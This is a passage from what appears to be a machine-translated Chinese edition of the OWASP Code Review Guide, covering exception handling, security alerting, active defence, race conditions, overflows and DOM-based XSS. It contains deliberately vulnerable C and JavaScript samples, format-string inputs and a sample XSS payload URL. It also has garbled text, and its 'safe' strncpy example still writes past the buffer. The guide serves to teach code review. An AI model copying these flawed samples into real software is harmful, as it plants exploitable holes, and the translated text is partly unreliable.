do_fn() { try{ // Perform work that could throw } catch ( const std::invalid_argument& e ){ 254 // Perform generic invalid argument processing and return failure } catch ( const non_even_argument& e ){ // Perform specific processing to make argument even and continue processing } } 这段代码的问题是,当抛出一个' non_even_argument '时,catch 分支处理' std::invalid_argument '将总是被执行,因为它是' non_even_argument '的父级,因此运 行时系统将认为它是匹配的(这也可能导致切片)。因此,您需要了解异常对象的层次结构, 并确保首先在代码中列出更具体异常的捕获。 如果所讨论的语言有一个 finally 方法,就使用它。finally 方法保证总是被调用。finally 方法可用于释放引发异常的方法所参考的资源。这个很重要。例如,如果一个方法从一个连 接池中获得了一个数据库连接,并且发生了一个异常而没有最终得到连接,那么该连接对象 在一段时间内(直到超时)都不会返回到连接池中。这会导致 pool 枯竭。即使没有引发异常, 也会调用 finally()。 示例: void perform_fn() { try { // Perform work here } catch ( const MyClassExtendedFromStdException& e) { // Log the exception and continue WriteToUser(“An Error has occurred, put the kettle on”); logger.log(Level.SEVERE, “Unexception exception”, e); 255 } } 一个 Java 例子,展示了 finally()被用来释放系统资源。 4.4.2.6 释放资源和良好的内务管理 RAII 是资源获取是初始化,这是一种说法,当您第一次创建一个类型的实例时,它应 该被完全设置(或尽可能地设置),以便它处于良好的状态。RAII 的另一个优点是如何处理对 象,当不再需要对象实例时,当对象超出范围(C++)或当它的“使用”块完成时(C#“使用” 指令调用 Dispose 方法,或 Java 7 的“尝试使用资源”功能),会自动返回它的资源 RAII 的优点是程序员(和库的用户)不需要显式删除对象,对象会自己移除,并且在移 除过程中自己(析构函数或 Dispose) 对于经典的 ASP 页面,建议将所有的清理都包含在一个函数中,并将其调用到错误处 理中“下一次出错时继续”后的语句。 事实证明,为一致的错误报告构建基础架构比错误处理更加困难。Struts 提供了 ActionMessages 和 ActionErrors 类,用于维护一个要报告的错误消息堆栈,它可以与类 似< html: error >的 JSP 标签一起使用,向用户显示这些错误消息。 要以不同的方式(如错误、警告或信息)报告消息的不同严重性,需要执行以下任务: 1.注册,在适当的严重性下实例化错误 2. 识别这些信息,并以一致的方式显示它们。Struts ActionErrors 类使错误处理变得 非常简单: 256 示例: ActionErrors errors = new ActionErrors() errors.add(“fatal”, new ActionError(“....”)); errors.add(“error”, new ActionError(“....”)); errors.add(“warning”, new ActionError(“....”)); errors.add(“information”, new ActionError(“....”)); saveErrors(request,errors); // Important to do this 现在我们已经添加了错误,我们通过在 HTML 页面中使用标签来显示它们。 <logic:messagePresent property=”error”> <html:messages property=”error” id=”errMsg” > <bean:write name=”errMsg”/> </html:messages> </logic:messagePresent > 4.4.3 参考 对于经典的 ASP 页面,您需要进行一些 IIS 配置,请按照 http://support.microsoft.com/ kb/299981 了解更多信息。 有关 struts 中的默认 HTTP 错误页面处理,请参见 https://software-security.sans.org/博客/2010/08/11/安全性-错误配置-Java-webxml- 文件 4.5 审计安全告警 当出现问题时,您的代码和应用程序会有什么反应?许多公司为了防止攻击者进入他们 的网络遵循安全设计和编码原则,但是许却不考虑审计针对攻击者可能已经发现了漏洞或者 257 已经利用它在公司防火墙内运行代码(即,内部网内)的安全警告。 许多公司使用 SIEM 日志技术来监控网络和操作系统日志,以发现可疑活动的模式,本 节旨在进一步鼓励应用层和接口也这样做。 4.5.1 描述 本节集中讨论: 1. 允许用户在系统受到攻击时做出反应的设计和代码。 2. 允许应用程序在被违反时安全原则时进行标警报。 当一家公司实施安全的设计和编码时,它的目标是防止攻击者滥用软件和访问他们不 应该访问的信息。可以防止攻击者利用 SQL 注入、XSS、CSRF 等类型的漏洞攻击软件。然 而,当攻击者试图突破防御或防护被突破时,软件应该如何反应? 对于要对安全问题发出警报的应用程序,它需要关注什么是“正常”以及什么构成安 全问题的上下文。这将根据应用程序及其运行的上下文而有所不同。一般来说,应用程序不 应该尝试记录发生的每一项,因为过多的记录会降低系统速度,填满磁盘或数据库空间,并 使过滤所有信息以发现安全问题变得非常困难。 与此同时,如果没有足够的信息被监控或记录,那么基于可用的信息很难进行安全警 报。为了实现这种平衡,应用程序可以使用自己的风险评分系统,在系统级别监控已经发现 的风险触发因素(即,无效输入、失败的密码等),并使用不同的日志记录模式。以正常使 用为例,在这种情况下,只记录关键项目。但是,如果认为安全风险增加,则可以记录主要 或高安全级别的项目并采取行动。这种较高的安全风险也可能会调用进一步的安全功能,如 258 本节后面所述。 举个例子,在线表单(后认证)允许用户输入一年中的一个月。在这里,用户界面被设 计为给用户一个月的下拉列表(一月到十二月)。在这种情况下,登录的用户应该只输入 12 个值中的一个,因为他们通常不应该输入任何文本,而是简单地选择预定义的下拉值之一。 如果接收此表单的服务器遵循了安全编码实践,它通常会审计表单字段是否与 12 个允许值 中的一个匹配,然后认为它是有效的。如果表单字段不匹配,它将返回一个错误,并可能在 服务器中记录一条消息。这可以防止攻击者利用这个特定的字段,但是这不太可能阻止攻击 者,他们会转移到其他表单字段。 在这种情况下,我们可以获得的信息比我们记录的要多。我们已经向用户返回了一个错 误,并且可能在服务器上记录了一个错误。事实上我们知道得更多:经过身份验证的用户输 入了一个无效值,这是他们在正常使用中永远无法做到的(因为这是一个下拉列表)。 这可能有几个原因: ⚫ 软件有缺陷,用户没有恶意。 ⚫ 攻击者窃取了用户的登录凭据,并试图攻击系统。 ⚫ 用户已经登录,但带有试图攻击系统的病毒/特洛伊木马。 ⚫ 用户已经登录,但正在遭受中间人攻击。 ⚫ 用户无意恶意,但通过某种浏览器插件改变了值,等等。 如果是上面的第一种情况,那么公司应该知道它以修复他们的系统。如果是情况 2、3 或 3,则应用程序应该采取一些措施来保护自己和用户,例如减少用户可用的功能(即,PII 259 不可见,不能更改密码,不能执行金融交易)或强制进一步的身份验证,如安全问题或带外 身份验证。系统还可以提醒用户意外输入被发现的事实,并建议他们运行防病毒等。从而在 攻击进行时阻止攻击。 显然,在限制用户功能或警告用户这是一个诚实的错误时必须小心,所以应该使用风险 评分或注意会话警告。例如,如果浏览会话中一切正常,1 个字符不合适,则显示一个红色 弹出框说明用户被黑客攻击是不合理的,但是如果这不是用户的通常 IP 地址,他们在不寻 常的时间登录,而且有 5 个异常字符,看起来像是 SQL 注入字符串,则应用程序做出反应 是合理的。这种可能的反应需要在法律文件中说明。 在另一种情况下,如果攻击者已经通过应用程序防御提取了应用程序客户数据库的一 部分,公司会知道吗?从效率的角度来看,将数据库中的信息拆分成单独的表是有意义的, 但从安全的角度来看,将机密信息放入单独的分区也会使攻击者更加困难。但是,如果攻击 者掌握了信息,就很难检测到,应用程序应该采取措施来帮助警报软件(例如,SIEM 系统)。 许多金融机构使用风险评分系统来查看用户会话的元素以给出风险评分,如果约翰尼总是在 星期四下午 6 点从同一个 IP 登录,那么我们就有了一个可信的模式。如果约翰尼在早上 2:15 突然从世界另一端的一个 IP 地址登录,在 7 次弄错密码后,那么他可能在长途旅行后时差 反应,或者他的账户被黑客攻击了。无论哪种方式,要求他进行带外身份验证都是合理的, 可以允许约翰尼登录,或者阻止攻击者使用约翰尼的帐户。 如果应用程序从更大的角度来看,它可以确定在正常情况下,3%的用户以被认为是更 危险的方式登录,即,不同的 IP 地址,不同的时间等。如果周四看到这个数字上升到 23%, 那么用户群是不是发生了什么奇怪的事情,或者数据库被黑了?此类信息可用于对 23%的 260 “高风险”用户实施全面的带外身份认证(以及日志内部调查),从而将用户的风险分值与应 用程序的整体风险分值结合起来。 另一个好的选择是“蜂蜜账户”,这是用户名和密码,永远不会给用户。这些帐户就 像任何其他用户一样被添加,并存储在数据库中,但是它们也记录在一个特殊的缓存中,并 在登录时进行审计。因为它们从来没有给过任何用户,所以任何用户都不应该使用它们登录, 但是如果使用了其中一个帐户,那么唯一知道用户名和密码组合的方法就是攻击者获得数据 库,并且该信息允许应用程序进入更安全的状态,并警告公司数据库已被黑客攻击。 4.5.2 审计什么 从安全警报的角度查看代码模块时,需要注意的一些常见问题包括: ⚫ 应用程序会知道它是否受到攻击吗?它是否忽略无效输入、登录等。或者它记录它 们并监控这种状态,以获取系统当前风险的累积感知? ⚫ 应用程序能否自动更改其日志记录级别以应对安全威胁?更改安全级别是动态的 还是需要重启? ⚫ 软件开发生命周期要求或设计文档是否记录了构成安全警报的内容?这个判定是 否经过同行评议?测试周期是否贯穿这些场景? ⚫ 系统是否使用“蜂蜜账户”,这样应用程序就可以知道数据库是否受到损害? ⚫ 是否有基于风险的评分系统,记录用户的正常使用情况,并允许在风险增加时进行 判断或做出反应? ⚫ 如果正在使用 SIEM 系统,是否已经确定了适当的触发因素?是否创建了自动化测 试来确保这些触发日志消息不会被未来的增强或错误修复意外修改? 261 ⚫ 系统是否跟踪用户经历了多少次失败的登录尝试?系统对此有反应吗? ⚫ 某些功能(即,交易启动、更改密码等)根据应用程序当前运行的风险分值有不同的 运行模式? ⚫ 当安全风险分值降至正常水平时,应用程序能否恢复到“正常”操作? ⚫ 当安全风险得分上升时,管理员如何得到警报?或者当违约已经被认定,在操作层 面,是否定期测试?人事变动是怎么处理的? 4.6 审计主动防御 在应用层进行的攻击检测可以访问用户交互的完整上下文和关于用户的详细信息。如果 在代码中应用逻辑来检测可疑活动(类似于应用程序级入侵防御系统),那么应用程序将知道 什么是高价值问题,什么是噪音。输入数据已经在应用程序中被解密和规范化,因此特定于 应用程序的入侵检测不太容易受到高级规避技术的影响。如果选择适当的检测点,这将导致 非常低水平的攻击识别误报。 基本要求是能够执行四项任务: 1. 检测一系列可疑和恶意事件。 2. 集中使用这些知识来识别攻击。 3. 预定义供选择的响应。 4. 响应的执行。 262 4.6.1 描述 应用程序可以采取一系列响应,其中可能包括高风险功能,如更改用户帐户或应用程序 防御姿态的其他更改。在动态分析中很难检测到主动防御,因为测试人员可能看不到响应。 代码审计是确定这种防御存在的最好方法。 其他应用程序功能,如身份验证失败计数和锁定,或对文件上传速率的限制,是“本地 化”的保护机制。在本文中,这种独立的逻辑“不是”主动防御的等价物,除非它们被组装 到一个应用范围的传感网络和集中的分析引擎中。 它不是一个固定的工具或代码库,而是为组织提供了一种方法来指定或开发他们自己的 实现——特定于他们自己的业务、应用程序、环境和风险概况——建立在现有的标准安全 控制之上。 4.6.2 审计什么 在使用代码审计来检测防御存在的情况下,它的缺失应被视为一个弱点。请注意,主动 防御不能防御具有已知漏洞的应用程序,因此本指南的其他部分极其重要。代码审计者应该 注意到缺少主动防御是一个漏洞。 代码审计的目的不一定是确定主动防御的有效性,而可能只是确定这种能力是否存在。 检测点可以集成到应用程序的表示层、业务层和数据层。特定于应用程序的入侵检测不 需要识别所有无效的用法,就能够确定攻击。不需要“无限数据”或“大数据”,因此“检 测点”的位置在源代码中可能非常稀疏。 识别此类代码的一个有用方法是找到用于检测可疑活动的专用模块的名称(如 OWASP AppSensor)。此外,公司可以基于米特的常见攻击模式枚举和分类(Mitre’s Common 263 Attack Pattern Enumeration and Classifcation :CAPEC)、字符串(如 CAPEC-212、 CAPEC-213 等)来实施标记主动防御检测点的策略。 OWASP 应用传感器检测点类型标识符和 CAPEC 代码通常用于配置值(例如, [https://code . Google . com/p/appsensor/source/browse/trunk/AppSensor/src/test/resources/.esapi/ESA PI.properties?对于 Java 在 ESAPI 中 r = 53),参数名和安全事件分类。此外,审计错误 日志记录和安全事件日志记录机制,因为它们可能被用来收集数据,然后用于攻击检测。确 定执行此日志记录的代码或调用的服务,并审计记录/发送的事件属性。然后确定这些调用 的所有地方。 审计与输入和输出验证相关的错误处理代码很可能会发现检测点的存在。例如,在白名 单类型的检测点中,可能已经在错误处理代码流附近或内部添加了额外的代码: 在某些情况下,攻击检测点正在寻找列入黑名单的输入,否则测试可能不存在, if ( var !Match this ) { Error handling Record event for attack detection } 所以需要全新的代码。检测点的识别还应找到记录事件的位置(“事件存储”)。如果找 不到检测点,请继续审计代码以执行响应,因为这可能会提供对主动防御存在的证明。 必须实时或非常频繁地分析事件存储,以便根据预定义的标准识别攻击。应该在配置设 置中定义标准(例如,在配置文件中,或者从另一个源如数据库中读取)。一个进程将审计事 件存储,以确定攻击是否正在进行,通常这将试图识别经过身份验证的用户,但它也可能考 虑单个 IP 地址、IP 地址范围或用户组,如一个或多个角色、具有特定权限的用户甚至所有 264 用户。 一旦确定了攻击,将根据预定义的标准选择响应。同样,对配置数据的审计应该揭示与 每个检测点、检测点组或总阈值相关的阈值。 最常见的响应操作是用户警告消息、注销、帐户锁定和管理员通知。然而,当这种方法 被连接到应用程序中时,响应动作的可能性只受到应用程序的编码能力的限制。 任何全局搜索代码都包括上述轮询攻击识别/响应。响应动作(同样是用户、IP 地址、用 户组等)通常由应用发起,但是在某些情况下,其他应用(例如,更改欺诈设置)或基础架构组 件(例如,阻止一个 IP 地址范围)也可以发起。 审计配置文件和应用程序执行的任何外部通信。 以下类型的响应可能已编码: ⚫ Logging 增加 ⚫ 管理员通知 ⚫ 其他通知(例如,其他系统) ⚫ 代理 ⚫ 用户状态变化 ⚫ 用户通知 ⚫ 时间变化 ⚫ 流程终止(与传统防御相同) ⚫ 功能禁用 265 ⚫ 帐户注销 ⚫ 账户锁定 ⚫ 从用户处收集数据。 应用程序和相关系统组件的其他功能可以重新调整用途或扩展,以提供选定的响应操作。 因此,请查看与任何本地化安全措施(如帐户锁定)相关的代码。 4.6.3 参考 在 WASP_AppSensor_Project 中给出的向应用程序添加主动响应的指南类别:企业安 全应用编程接口-https://code.google.com/p/appsensor/应用传感器演示代码 4.7 竞争条件 当一段代码不能正常工作时(像许多安全问题一样),就会出现竞争情况。它们是事件的 意外顺序的结果,这可能导致代码的状态转换到未定义的状态,并且还会引起多个执行线程 对同一资源的争用。多个执行线程对内存或持久数据中的相同区域进行操作,这将导致完整 性问题。 4.7.1 描述 如果资源没有使用步锁或利用一个基于令牌的系统(如信号量),由于竞争任务操作相 同的资源,我们可以很容易地得到一个竞争条件。例如,如果有两个进程(线程 1,T1)和(线 程 2,T2)。线程中的代码将 10 加到一个整数 x 上。X 的初始值是 5。 X = X + 10 在多线程环境中,如果没有围绕此代码的控件,代码可能会遇到以下问题: 266 T1 将 X 放入线程 1 的寄存器中,T2 将 X 放入线程 2 的寄存器中 T1 将 T1 寄存器中的值加 10,得到 15,T2 将 T2 寄存器中的值加 10,得到 15,T1 将寄存器值(15)保存到 X 中。 T1 将寄存器值(15)保存到 x 中。 该值实际上应该是 25,因为每个线程在初始值 5 的基础上增加了 10。但是实际值是 15,因为 T2 没有让 T1 在取值为 X 之前保存到 X 中。 这将导致未定义的行为,即应用程序处于不确定状态,因此无法准确实施安全性。 4.7.2 审计什么 在 C#. NET 中寻找使用多线程环境的代码 ⚫ Thread ⚫ System.Threading ⚫ ThreadPool ⚫ System.Threading.Interlocked ⚫ 在 Java 代码中,寻找 java.lang.Thread ⚫ java.lang.Thread ⚫ start() ⚫ stop() 267 ⚫ destroy() ⚫ init() ⚫ synchronized ⚫ wait() ⚫ notify() ⚫ notifyAll() 对于经典的 ASP,多线程不是一个直接支持的特性,所以这种竞争条件只能在使用 COM 对象时出现。 静态方法和变量(每个类一个,而不是每个对象一个)是一个问题,尤其是在多线程之间 存在共享状态的情况下。例如,在 Apache 中,struts 静态成员不应用于存储与特定请求相 关的信息。一个类的同一个实例可以被多个线程使用,并且静态成员的值不能得到保证。 类的实例不需要线程安全,因为每个操作/请求都有一个实例。静态必须线程安全。 ⚫ 对静态变量的参考,这些必须是线程锁定的。 ⚫ 在 fnally{}以外的地方释放锁可能会导致问题。 ⚫ 改变静态的静态方法。 4.7.3 参考 • http://msdn2.microsoft.com/en-us/library/f857xew0(vs.71).aspx 268 4.8 缓冲区溢出 缓冲区是为存储信息而留出的连续内存量。例如,如果一个程序必须记住某些东西,比 如你的购物车包含什么,或者在当前操作之前输入了什么数据,该信息就会存储在缓冲区的 内存中。像 C,C++(许多操作系统是用 C++写的),Objective-C(非常高效),它们允许 代码直接访问进程内存(通过内存分配和指针),并混合数据和控制信息(例如,在进程堆栈中)。 如果程序员使用缓冲区出错,并允许用户输入超出分配的内存,则用户输入可以覆盖程序控 制信息,并允许用户修改代码的执行。 注意 Java,C#.NET、Python 和 Ruby 不容易受到缓冲区溢出的影响,因为它们使用 了将字符串存储在 char 数组中的方式,这些数组的边界由框架自动审计,并且它们不允许 程序员直接访问内存(虚拟机层处理内存)。因此,本节不适用于这些语言。但是请注意,在 这些语言中调用的本机代码(例如,汇编,C,C++)通过接口,如 JNI 或“不安全”的 C# 部分可能容易受到缓冲区溢出的影响。 4.8.1 24.1 描述 为了分配缓冲区,代码声明了一个特定大小的变量: char MyBuffer[100];//足以容纳 100 个字符变量 int MyintBuf[5];//足以容纳 5 个整数 Widget MyWidgetraray[17];//足以容纳 17 个小部件对象 由于没有自动边界审计,代码可以尝试在数组位置 23(不存在)添加一个小部件。当代 269 码这样做时,编译器将计算第 23 个小部件应该放在内存中的什么位置(通过乘以 23× Sizeof(小部件),并将其添加到“myWidgetArray”指针的位置)。存在于该位置的任何其 他对象或程序控制变量/寄存器将被覆盖。 数组、向量等,都是从 0 开始索引,这意味着容器中的第一个元素在“myBuffer[0]” 处,因此容器中的最后一个元素不在数组索引 100 处,而是在数组索引 99 处。当循环或编 程逻辑假设对象可以写入最后一个索引而不损坏内存时,这通常会导致错误和“逐个关闭” 错误。 在 C 语言中,在 C++ STL 变得流行之前,字符串被保存为字符数组: char nameString[10]; 这意味着“nameString”字符数组容易受到上述数组索引问题的影响,并且当使用许 多字符串操作函数(如 strcpy、strcat,稍后描述)时,写入超过第 10 个元素会导致缓冲区 溢出,从而导致内存损坏。 例如,一个程序可能想要记录一周中的几天。程序员告诉计算机为 7 个数字存储一个 空间。这是一个缓冲区的例子。但是如果试图添加执行第 8 个数字会如何?像 C 和 C++这 样的语言不执行边界审计,因此,如果程序是用这种语言编写的,第 8 条数据将覆盖内存 中下一个程序的程序空间,并导致数据损坏。这可能导致程序崩溃,更有甚者精心制作的溢 出可能导致恶意代码被执行,因为溢出覆盖的是实际代码。 4.8.2 审计什么:缓冲区溢出 示例: void copyData(char *userId) { 270 char smallBuffer[10]; // size of 10 strcpy (smallBuffer, userId); } int main(int argc, char *argv[]) { char *userId = “01234567890”; // Payload of 12 when you include the ‘\n’ string termination // automatically added by the “01234567890” literal copyData (userId); // this shall cause a buffer overload } c 库函数,如 strcpy(),strcat(),sprintf()和 vsprintf()对空终止的字符串进行操作, 并执行无边界审计。get()是另一个函数,它从标准输入中读取输入(到缓冲区中),直到找到 一个终止的换行符或文件结束符。scanf()函数家族也可能导致缓冲区溢出。 使用 strncpy(),strncat()和 snprintf()函数允许传递第三个“长度”参数,该参数确定 将被复制的数据的最大长度进入目标缓冲区。如果这被正确设置为要写入的缓冲区的大小, 它将防止目标缓冲区溢出。还要注意 fgets()是 get()的替代。在将数组写入缓冲区之前,请 务必审计数组的边界。微软 C 运行库还提供了许多带有' _s '后缀的函数的附加版本(strcpy_s, strcat_s,sprintf_s)。这些函数执行额外的错误条件审计,并在失败时调用错误处理程序。 下面的 C 代码不容易出现缓冲区溢出,因为复制功能是由“strncpy”执行的,它指定 了要复制的字符数组长度的第三个参数 10。 示例: void copyData(char *userId) { char smallBuffer[10]; // size of 10 strncpy(smallBuffer, userId, sizeof(smallBuffer)); // only copy first 10 elements smallBuffer[10] = 0; // Make sure it is terminated. } 271 int main(int argc, char *argv[]) { char *userId = “01234567890”; // Payload of 11 copyData (userId); } 现代的 C++ (C++11)程序可以访问许多 STL 对象和模板,这有助于防止安全漏洞。 std::string 对象不要求调用代码具有对基础指针的任何访问权限,而是自动扩展基础字符串 表示形式(堆上的字符缓冲区),以适应正在执行的操作。因此,代码不能导致 std::string 对 象上的缓冲区溢出。 关于指针(可以用其他方式导致溢出),C++11 有智能指针,它再次消除了调用代码使 用底层指针的任何必要,当变量超出范围时,这些类型的指针会自动分配和销毁。这有助于 防止内存泄漏和双重删除错误。还有 STL 容器,比如 std::vector、std::list 等。所有的动态 分配他们的内存意味着正常使用不会导致缓冲区溢出。请注意,仍然可以访问原始指针下的 这些容器,或者重新解释_cast 对象,因此缓冲区溢出是可能的,但是它们更难引起。 编译器也有助于解决内存问题,在现代编译器中有“stack canaries”,这是放在编译 代码中的微妙元素,用于审计越界内存访问。这些可以在编译代码时启用,也可以自动启用。 有许多这种 stack canaries 的例子,对于某些系统,stack canaries 的许多选择取决于组织 对安全性和性能的偏好。苹果也有针对 iOS 代码的 stack canaries,因为 Objective 也容 易出现缓冲区溢出。 一般来说,有明显的代码示例,手动代码审计者可以发现潜在的溢出和逐个错误,但是 其他内存泄漏(或问题)可能更难发现。因此,手动代码审计应该由市场上可用的内存审计程 序来支持。 272 4.8.3 审计什么:格式化函数溢出 格式函数是 ANSI C 规范中的一个函数,可用于将原始 C 数据类型定制为人类可读的形 式。几乎所有的 C 程序都使用它们来输出信息、打印错误信息或处理字符串。 表:格式函数溢出 字符串形式 相关输入 %x Hexadecimal values (unsigned int) %s Strings ((const) (unsigned) char*) %n Integer %d Decimal %u Unsigned decimal (unsigned int) 这种情况下的%s 确保由参数“abc”指向的值被打印为一个字符数组。例如: char * myString = " abcprintf ("Hello: %s\n ",ABC); 通过向格式函数提供格式字符串,我们能够控制它的行为。因此,以格式字符串的形式 提供输入会让我们的应用程序做一些不该做的事情。我们到底能让应用程序做什么? 如果我们提供%x(十六进制无符号整数)作为输入,“printf”函数将期望找到一个与该 格式字符串相关的整数,但是没有参数存在。这在编译时无法检测到。这个问题在运行时会 浮出水面。 273 printf 函数发现参数中的每一个%都假定堆栈上有一个关联的值。这样,函数向下遍历 堆栈,从堆栈中读取相应的值,并将其打印给用户。 使用格式字符串,我们可以通过使用格式字符串来执行一些无效的指针访问,例如: printf(" % s % s % s % s % s % s % s % s % s % s % s % s % s "); 更糟糕的是在“printf()”中使用了“%n”指令。该指令接受一个' int* '并将到目前为 止的字节数'写入'到该位置。 在哪里可以找到这个潜在的漏洞。“printf()”函数家族、“printf()、fprintf()、sprintf()、 snprintf()普遍存在此问题。另外还有“syslog()”(写入系统日志信息)和 setprocetitle(const char * fmt,...)(设置用于显示过程标识符信息的字符串)。 4.8.4 审计什么:整数溢出 整数的数据表示将具有有限的空间,例如,许多语言中的缩写是 16 位二进制补码数, 这意味着它可以容纳最大值 32,767 和最小值-32,768。二进制补码代表(16 的)第一位是 正数还是负数的表示。如果第一位是“1”,那么它是一个负数。 表 24 给出了一些边界数的表示。 示例: 数字 展示 32766 0111111111111110 274 32767 0111111111111111 -32768 1000000000000000 -1 1111111111111111 号码 代表 32,766 0111111111111110 32,767 0111111111111111 -32,768 1000000000000000 -1 1111111111111111 如果你把 1 加到 32,766 上,它就把 1 加到表示上,给出上面显示的 32,767 的表示。 但是,如果您再次添加一个,它会设置第一个位(也称为,最高有效位),然后被系统解释为 -32,768。 275 如果您有一个循环(或其他逻辑)在短时间内增加或计算值,那么应用程序可能会遇到这 种溢出。还要注意,减法里面低于-32,768 的值也意味着该数字将绕到高正值,这称为下 溢。 示例: 0x7fffffff 的二进制表示为 111111111111111111111111111111111111111;该整 数用有符号长整数可以容纳的最高正值初始化。 这里,当我们将 1 加到十六进制值 0x7fffffff 上时,整数的值溢出并变成负数(0x 7 fffff+1 = 80000000)。在十进制中,这是(-2147483648)。想想这可能造成的问题。编译 器不会检测到这一点,应用程序也不会注意到这个问题。 当我们在比较或算术中使用有符号整数时,以及在比较有符号整数和无符号整数时,我 们会遇到这些问题。 示例: int myArray[100]; int fillArray(int v1, int v2){ if(v2 > sizeof(myArray) / sizeof(int) -1 ){ return -1; /* Too Big */ } myArray [v2] = v1; return 0; } 这里,这个条件审计 v2 是否大于数组大小,如果 v2 是一个巨大的负数,“如果”条 件将通过。 276 如果未执行边界审计,则“myArray[v2] = v1”行可能会将值 v1 赋给数组边界之外的 位置,从而导致意外结果。 4.8.5 参考 参见 OWASP 关于缓冲区溢出攻击的文章。 关于如何测试缓冲区溢出漏洞,请参见《OWASP 测试指南》。 参见阴极射线管中的安全增强:http://msdn 2 . Microsoft . com/en-us/library/8ef 0s 5kh(vs . 80)。 4.9 客户端 JavaScript JavaScript 有几个已知的安全漏洞,HTML5 和 JavaScript 在今天的网站中变得越来越 普遍,越来越多的网站依赖于 JavaScript 设计响应性网页。代码审计者需要了解寻找哪些 JavaScript 相关的漏洞。JavaScript 正迅速成为黑客进入网络应用程序的重要切入点。出于 这个原因,我们在 A1 注入小节中进行了介绍。 4.9.1 描述 JavaScript 中最重要的漏洞是跨站点脚本(XSS)和基于文档对象模型的 XSS。 检测基于 DOM 的 XSS 可能具有挑战性。这是由以下原因造成的。 JavaScript 经常被混淆以保护知识产权。 出于对带宽的考虑,JavaScript 经常被压缩。 277 在这两种情况下,强烈建议代码审计人员能够在 JavaScript 被混淆和/或压缩之前对其 进行审计。这是质量保证软件专业人员争论的一个重要问题,因为您正在审计不在其生产状 态的代码。 另一个使 JavaScript 代码审计具有挑战性的方面是它对微软等大型框架的依赖.NET 和 Java Server Faces 以及 JavaScript 框架的使用,比如 JQuery、Knockout、Angular、 Backbone。这些框架加剧了这个问题,因为只有给定框架本身的源代码,才能对代码进行 全面分析。这些框架通常比代码审计者需要审计的代码大几个数量级。 由于时间和金钱的原因,大多数公司简单地接受这些框架是安全的,或者风险较低,并 且为组织所接受。 由于这些挑战,我们建议对 JavaScript 进行混合分析。必要时手动进行源到汇的验证, 通过黑盒测试和污点测试进行静态分析。 首先使用静态分析。代码审计者和组织需要理解,由于事件驱动的行为、HTML DOM 和 JavaScript 代码之间的复杂依赖关系以及与服务器端静态分析的异步通信,它们总是达 不到预期效果,并且可能会出现各种误报。 需要执行反射或存储 XSS 的黑盒传统方法检测。然而,这种方法不适用于基于 DOM 的 XSS 漏洞。 污点分析需要结合到静态分析引擎中。污点分析试图识别已经被用户可控制的输入“污 染”的变量,并追踪它们到可能的易受攻击的函数。如果被污染的变量未经清理就被传递到 接收器,它将被标记为漏洞。其次,代码审计者需要确定代码是用 JavaScript 测试的,并 关闭以确保所有客户端数据验证也在服务器端得到验证。 278 示例: <html> <script type=”text/javascript”> var pos=document.URL.indexOf(“name=”)+5; document.write( document.URL.substring(pos,document.URL.length)); </script> <html> JavaScript 漏洞的代码示例。 示例: var url = document.location.url; var loginIdx = url.indexOf(‘login’); var loginSuffix = url.substring(loginIdx); url = ‘http://mySite/html/sso/’ + loginSuffix; document.location.url = url; 说明:攻击者可以向受害者发送“http://hostname/welcome . html # name = < script > alert(1)</script >”等链接,导致受害者的浏览器执行注入的客户端代码。 第 5 行可能是一个误报,并被证明是安全代码,或者它可能对带有污点分析的“开放 重定向攻击”开放。如果存在此漏洞,静态分析应该能够正确识别。如果静态分析只依赖于 黑盒组件,那么该代码将被标记为易受攻击,要求代码审计者完成完整的源代码审计。 4.9.2 其他示例和潜在的安全风险 接收器:document.write() 结果:结果:document . write(“< script >恶意代码</script >”; 网络攻击可以控制以下文档元素,包括 279 document.url,document.location,document.referrer,window.location。 来源:document . location Sink:windon . location . href 结果:windon . location . href = http://www .BadGuysSite-客户端代码打开重定向。 来源:document.url 存储:windows.localstorage.name Sink: elem.innerHTML 结果:elem.innerHTML = < value > =基于存储 DOM 的跨站点脚本 eval()容易受到安全威胁,因此不建议使用。请考虑以下几点: 1. 传递给 eval 的代码以执行者的权限执行。因此,如果传递的代码可能受到某些恶意 意图的影响,就会导致恶意代码以您网站的权限在用户的机器上运行。 2. 恶意代码可以理解传递给 eval 的代码被调用的范围。 3. 您也不应该使用 eval()或 new Function()来解析 JSON 数据。 如果使用上述方法,可能会带来安全威胁。JavaScript 在用于动态评估代码时会产生潜 在的安全风险。 eval(' alert(" Query String '+une scape(document . location . search)+');'); eval(不可信字符串);可能导致代码注入或客户端开放重定向。 280 JavaScripts 的“新功能”也可能造成潜在的安全风险。 JavaScript 需要三个有效点 1. 在客户端关闭所有服务器端逻辑、JavaScript 验证 2. 审计各种 XSS DOM 攻击,永远不要相信用户数据,知道你的源和汇(即,看看所有 包含用户提供的输入的变量)。 3. 审计不安全的 JavaScript 库,并经常更新。 4.9.3 参考: http://docstore.mik.ua/orelly/web/jscript/ch20_04.html https://www.owasp.org/index.php/Static_Code_Analysis http://www.cs.tau.ac.il/~omertrip/fse11/paper.pdf http://www.jshint.com 5 附录 5.1 代码审计的 Do’s 和 Dont’s 在工作中我们是专业的。但是我们需要确保,即使作为专业人员,当我们进行代码审计 时,除了代码审计的技术方面之外,我们还考虑了代码审计的人的方面。下面是代码审计人 员讨论的要点列表;每个参与人员都需要考虑。这个列表并不全面,但它是一个建议的起点,, 281 也是一个讨论的来源,让企业确保代码审计是有效的,而不是破坏性的。如果代码审计成为 一个组织内部的话语来源,寻找安全性的有效性,功能缺陷将会减少,开发人员将不会与审 计人员起冲突。做一名好的代码审计员需要良好的社交技能,这是一项需要实践的技能,就 像学习代码审计一样。 ⚫ 你不需要在代码中找出错误来进行代码审计。如果你总是对某事进行批评,你的评 论就会失去可信性。 ⚫ 不要急于进行代码审计。找到安全性和功能缺陷很重要,但其他开发人员或团队成 员正在等着您,所以您需要缓和一下,设定好事项的优先级。 ⚫ 在审计代码时,您需要知道所期望的内容。您是否需要审计代码的安全性、功能性、 可维护性和/或风格?您的组织有关于代码风格的工具和文档吗?或者您使用自己的 代码风格?您的组织是否为开发人员提供工具,根据组织自己的编码标准来标记不 可接受的编码标准? ⚫ 在开始代码审计之前,您的组织是否有明确的方法来解决开发人员和代码审计人员 在代码审计过程中可能出现的冲突? ⚫ 代码审计者是否有一组定义好的需求作为代码审计的结果来产生? ⚫ 当代码审计期间的代码需要更改时,代码审计的流程是什么(考虑复审,确保修 复)? ⚫ 代码审计者是否了解被审计代码的领域知识?大量的证据表明,如果代码审计者了 解代码的主要内容,那么代码审计是最有效的。例如,行业和政府、业务功能、风 险等的合规性规范。 282 5.2 敏捷软件开发生命周期 将安全性集成到敏捷的 sdlc 